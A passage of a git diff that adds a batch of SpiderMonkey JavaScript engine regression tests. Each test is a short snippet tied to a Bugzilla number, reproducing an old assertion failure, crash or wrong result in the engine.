+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476192;
+var summary = 'TM: Do not assert: JSVAL_TAG(v) == JSVAL_STRING';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var global;
+
+ (function(){
+ var ad = {present: ""};
+ var params = ['present', 'a', 'present', 'a', 'present', 'a', 'present'];
+ for (var j = 0; j < params.length; j++) {
+ global = ad[params[j]];
+ }
+ })();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-476655.js b/js/src/tests/non262/regress/regress-476655.js
new file mode 100644
index 0000000000..9e866fe622
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-476655.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476655;
+var summary = 'Do not assert: depth <= (size_t) (fp->regs->sp - StackBase(fp))';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ eval(
+ "for(let y in ['', '']) try {for(let y in ['', '']) ( /x/g ); } finally {" +
+ "with({}){} } this.zzz.zzz"
+
+ );
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-477053.js b/js/src/tests/non262/regress/regress-477053.js
new file mode 100644
index 0000000000..934a502ccb
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477053.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var summary = 'Do not assert: v.isString()';
+var BUGNUMBER = 477053;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+
+try
+{
+ function f() { eval("with(arguments)throw [];"); }
+ f();
+}
+catch(ex)
+{
+}
+
+reportCompare(expect, actual);
+
diff --git a/js/src/tests/non262/regress/regress-477234.js b/js/src/tests/non262/regress/regress-477234.js
new file mode 100644
index 0000000000..393df94231
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477234.js
@@ -0,0 +1,40 @@
+// |reftest| slow
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477234;
+var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (iters = 0; iters < 11500; ++iters) {
+ for (let x of ['', '', '']){}
+ eval("Object.defineProperty(__proto__, 'x', " +
+ "{" +
+ " enumerable: true, configurable: true," +
+ " get: function(){}" +
+ "});");
+ var c = toString;
+ delete toString;
+ toString = c;
+ }
+
+
+ delete __proto__.x;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-477733.js b/js/src/tests/non262/regress/regress-477733.js
new file mode 100644
index 0000000000..d0ba1fd0ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477733.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477733;
+var summary = 'TM: Do not assert: !(fp->flags & JSFRAME_POP_BLOCKS)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function g() {
+ [];
+ }
+
+ try {
+ d.d.d;
+ } catch(e) {
+ void (function(){});
+ }
+
+ for (var o in [1, 2, 3]) {
+ g();
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-477758.js b/js/src/tests/non262/regress/regress-477758.js
new file mode 100644
index 0000000000..24b559d5d9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-477758.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477758;
+var summary = 'TM: RegExp source';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function map(array, func) {
+ var result = [];
+ for(var i=0;i<array.length;i++) {
+ result.push(func(array[i]));
+ }
+ return result;
+ }
+
+ function run() {
+ var patterns = [/foo/, /bar/];
+ function getSource(r) { return r.source; }
+ var patternStrings = map(patterns, getSource);
+ print(actual += [patterns[0].source, patternStrings[0]] + '');
+ }
+
+ expect = 'foo,foo';
+
+ for (var i = 0; i < 4; i++)
+ {
+ actual = '';
+ run();
+ reportCompare(expect, actual, summary + ': ' + i);
+ }
+}
diff --git a/js/src/tests/non262/regress/regress-478205.js b/js/src/tests/non262/regress/regress-478205.js
new file mode 100644
index 0000000000..257741cdd5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-478205.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 478205;
+var summary = 'Do not assert: p->isQuad()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let x of ['', '']) { switch([]) {} }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-478314.js b/js/src/tests/non262/regress/regress-478314.js
new file mode 100644
index 0000000000..f352d9f858
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-478314.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 478314;
+var summary = 'Do not assert: "need a way to EOT now, since this is trace end": 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var z = 0; z < 2; ++z) { switch(false & 1e-81) {} }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479353-01.js b/js/src/tests/non262/regress/regress-479353-01.js
new file mode 100644
index 0000000000..1d34be1a8c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479353-01.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479353;
+var summary = 'Do not assert: (uint32_t)(index_) < atoms_->length';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f(code)
+{
+ (eval("(function(){" + code + "});"))();
+}
+x = {};
+f("y = this;");
+f("x, y; for (let x of [arguments]) {}");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-479353.js b/js/src/tests/non262/regress/regress-479353.js
new file mode 100644
index 0000000000..bb21365ef5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479353.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479353;
+var summary = 'Do not assert: (uint32_t)(index_) < atoms_->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (new Function("({}), arguments;"))();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-01.js b/js/src/tests/non262/regress/regress-479430-01.js
new file mode 100644
index 0000000000..b910188f43
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-01.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ f(n - 1);
+ f(n - 1);
+ }
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-02.js b/js/src/tests/non262/regress/regress-479430-02.js
new file mode 100644
index 0000000000..29828e1694
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-02.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } catch (e) {}
+ try { f(n - 1); } catch (e) {}
+ }
+ throw 0;
+ }
+
+ f(100);
+
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-03.js b/js/src/tests/non262/regress/regress-479430-03.js
new file mode 100644
index 0000000000..4202ce9cff
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-03.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ f(n - 1);
+ f(n - 1);
+ }
+ try {
+ return 0;
+ } finally {
+ n++;
+ }
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-04.js b/js/src/tests/non262/regress/regress-479430-04.js
new file mode 100644
index 0000000000..0948dc3d9f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-04.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout== 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } catch (e) {}
+ try { f(n - 1); } catch (e) {}
+ }
+ name_that_does_not_exists;
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479430-05.js b/js/src/tests/non262/regress/regress-479430-05.js
new file mode 100644
index 0000000000..fc94192d5e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479430-05.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479430;
+var summary = 'Missing operation callback checks';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof timeout == 'function')
+ {
+ expectExitCode(6);
+
+ timeout(0.01);
+
+ function f(n)
+ {
+ if (n != 0) {
+ try { f(n - 1); } finally { f(n - 1); }
+ }
+ name_that_does_not_exists;
+ }
+
+ f(100);
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-479740.js b/js/src/tests/non262/regress/regress-479740.js
new file mode 100644
index 0000000000..bcbeaff032
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-479740.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479740;
+var summary = 'TM: Do not crash @ TraceRecorder::test_property_cache';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+try
+{
+ eval(
+ ' function f() {' +
+ ' for ( foobar in (function() {' +
+ ' for (var x = 0; x < 2; ++x) {' +
+ ' if (x % 2 == 1) { yield (this.z.z) = function(){} }' +
+ ' eval("this", false);' +
+ ' }' +
+ ' })());' +
+ ' function(){}' +
+ ' }' +
+ ' f();'
+ );
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-480147.js b/js/src/tests/non262/regress/regress-480147.js
new file mode 100644
index 0000000000..7a8adb36f4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-480147.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480147;
+var summary = 'TM: Do not assert: cx->bailExit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var w = [/a/, /b/, /c/, {}];
+ for (var i = 0; i < w.length; ++i)
+ "".replace(w[i], "");
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-480244.js b/js/src/tests/non262/regress/regress-480244.js
new file mode 100644
index 0000000000..35e4c5fc3f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-480244.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480244;
+var summary = 'Do not assert: isInt32(*p)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function outer() {
+ var v = 10.234;
+ for (var i = 0; i < 0xff; ++i) {
+ inner(v);
+ }
+ }
+
+ var g = 0;
+ var h = 0;
+
+ function inner() {
+ var v = 10;
+ for (var k = 0; k < 0xff; ++k) {
+ g++;
+ if (g & 0xff == 0xff)
+ h++;
+ }
+ return h;
+ }
+
+ outer();
+ print("g=" + g + " h=" + h);
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-481436.js b/js/src/tests/non262/regress/regress-481436.js
new file mode 100644
index 0000000000..8520e2ffae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-481436.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481436;
+var summary = 'TM: Do not crash @ FlushNativeStackFrame/JS_XDRNewMem';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function search(m, n) {
+ if (m.name == n)
+ return m;
+ for (var i = 0; i < m.items.length; i++)
+ if (m.items[i].type == 'M')
+ search(m.items[i], n);
+}
+
+function crash() {
+ for (var i = 0; i < 2; i++) {
+ var root = {name: 'root', type: 'M', items: [{}]};
+ search(root, 'x');
+ root.items.push({name: 'tim', type: 'M', items: []});
+ search(root, 'x');
+ search(root, 'x');
+ }
+}
+
+crash();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-481800.js b/js/src/tests/non262/regress/regress-481800.js
new file mode 100644
index 0000000000..ba8ac8741f
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-481800.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481800;
+var summary = 'TM: Do not assert: (!lhs->isQuad() && !rhs->isQuad()) || (lhs->isQuad() && rhs->isQuad())';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let x of ['', 0, 0, eval]) { y = x } ( function(){} );
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-482421.js b/js/src/tests/non262/regress/regress-482421.js
new file mode 100644
index 0000000000..740ba6538b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-482421.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482421;
+var summary = 'TM: Do not assert: vp >= StackBase(fp)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function f()
+{
+ var x;
+ var foo = "for (var z = 0; z < 2; ++z) { new Object(new String(this), x)}";
+ foo.replace(/\n/g, " ");
+ eval(foo);
+}
+f();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-482783.js b/js/src/tests/non262/regress/regress-482783.js
new file mode 100644
index 0000000000..e1c4c42c33
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-482783.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482783;
+var summary = 'TM: Do not crash @ js_ConcatStrings';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ [].concat();
+ for (var x = 0; x < 3; ++x) { (null + [,,]); }
+
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/regress/regress-483103.js b/js/src/tests/non262/regress/regress-483103.js
new file mode 100644
index 0000000000..1c568070a9
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-483103.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 483103;
+var summary = 'TM: Do not assert: p->isQuad()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var t = new String("");
+ for (var j = 0; j < 3; ++j) {
+ var e = t["-1"];
+ }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-483749.js b/js/src/tests/non262/regress/regress-483749.js
new file mode 100644
index 0000000000..d8fa79d4a7
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-483749.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 483749;
+var summary = 'Do not assert: !js_IsActiveWithOrBlock(cx, fp->scopeChain, 0)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (let x of ['']) {
+ for (var b = 0; b < 5; ++b) {
+ if (b % 5 == 3) {
+ with([]) this;
+ }
+ }
+}
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-495773.js b/js/src/tests/non262/regress/regress-495773.js
new file mode 100644
index 0000000000..81f9041ec4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-495773.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 495773;
+var summary = 'Read upvar from trace-entry frame from JSStackFrame instead of tracing native stack';
+var actual = ''
+var expect = '010101';
+//-----------------------------------------------------------------------------
+function f() {
+ var q = [];
+ for (var a = 0; a < 3; ++a) {
+ (function () {
+ for (var b = 0; b < 2; ++b) {
+ (function () {
+ for (var c = 0; c < 1; ++c) {
+ q.push(b);
+ }
+ })();
+ }
+ })();
+ }
+ return q.join("");
+}
+
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-495907.js b/js/src/tests/non262/regress/regress-495907.js
new file mode 100644
index 0000000000..98ae943b91
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-495907.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 495907;
+var summary = 'Read upvar from trace-entry frame when created with top-level let';
+var actual = ''
+var expect = '00112233';
+//-----------------------------------------------------------------------------
+
+// The test code needs to run at top level in order to expose the bug.
+start_test();
+
+var o = [];
+for (let a = 0; a < 4; ++a) {
+ (function () {for (var b = 0; b < 2; ++b) {o.push(a);}}());
+}
+actual = o.join("");
+
+finish_test();
+//-----------------------------------------------------------------------------
+
+function start_test() {
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+}
+
+function finish_test() {
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-496922.js b/js/src/tests/non262/regress/regress-496922.js
new file mode 100644
index 0000000000..d27a19496c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-496922.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 496922;
+var summary = 'Incorrect handling of extra arguments';
+var actual = ''
+var expect = '0,0,1,1,2,2,3,3';
+
+
+//-----------------------------------------------------------------------------
+
+// The code must run as part of the top-level script in order to get the bug.
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = [];
+{
+let f = function() {
+ for (let x = 0; x < 4; ++x) {
+ (function() {
+ for (let y = 0; y < 2; ++y) {
+ a.push(x);
+ }
+ })()
+ }
+}; (function() {})()
+ f(99)
+}
+actual = '' + a;
+
+reportCompare(expect, actual, summary);
+//-----------------------------------------------------------------------------
+
diff --git a/js/src/tests/non262/regress/regress-499524.js b/js/src/tests/non262/regress/regress-499524.js
new file mode 100644
index 0000000000..2b996eda2b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-499524.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function isSyntaxError(code) {
+ try {
+ eval(code);
+ return false;
+ } catch (exception) {
+ if (SyntaxError.prototype.isPrototypeOf(exception))
+ return true;
+ throw exception;
+ };
+};
+
+/*
+ * Duplicate parameter names must be tolerated (as per ES3), unless
+ * the parameter list uses destructuring, in which case we claim the
+ * user has opted in to a modicum of sanity, and we forbid duplicate
+ * parameter names.
+ */
+assertEq(isSyntaxError("function f(x,x){}"), false);
+
+assertEq(isSyntaxError("function f(x,[x]){})"), true);
+assertEq(isSyntaxError("function f(x,{y:x}){})"), true);
+assertEq(isSyntaxError("function f(x,{x}){})"), true);
+
+assertEq(isSyntaxError("function f([x],x){})"), true);
+assertEq(isSyntaxError("function f({y:x},x){})"), true);
+assertEq(isSyntaxError("function f({x},x){})"), true);
+
+assertEq(isSyntaxError("function f([x,x]){}"), true);
+assertEq(isSyntaxError("function f({x,x}){}"), true);
+assertEq(isSyntaxError("function f({y:x,z:x}){}"), true);
+
+assertEq(isSyntaxError("function f(x,x,[y]){}"), true);
+assertEq(isSyntaxError("function f(x,x,{y}){}"), true);
+assertEq(isSyntaxError("function f([y],x,x){}"), true);
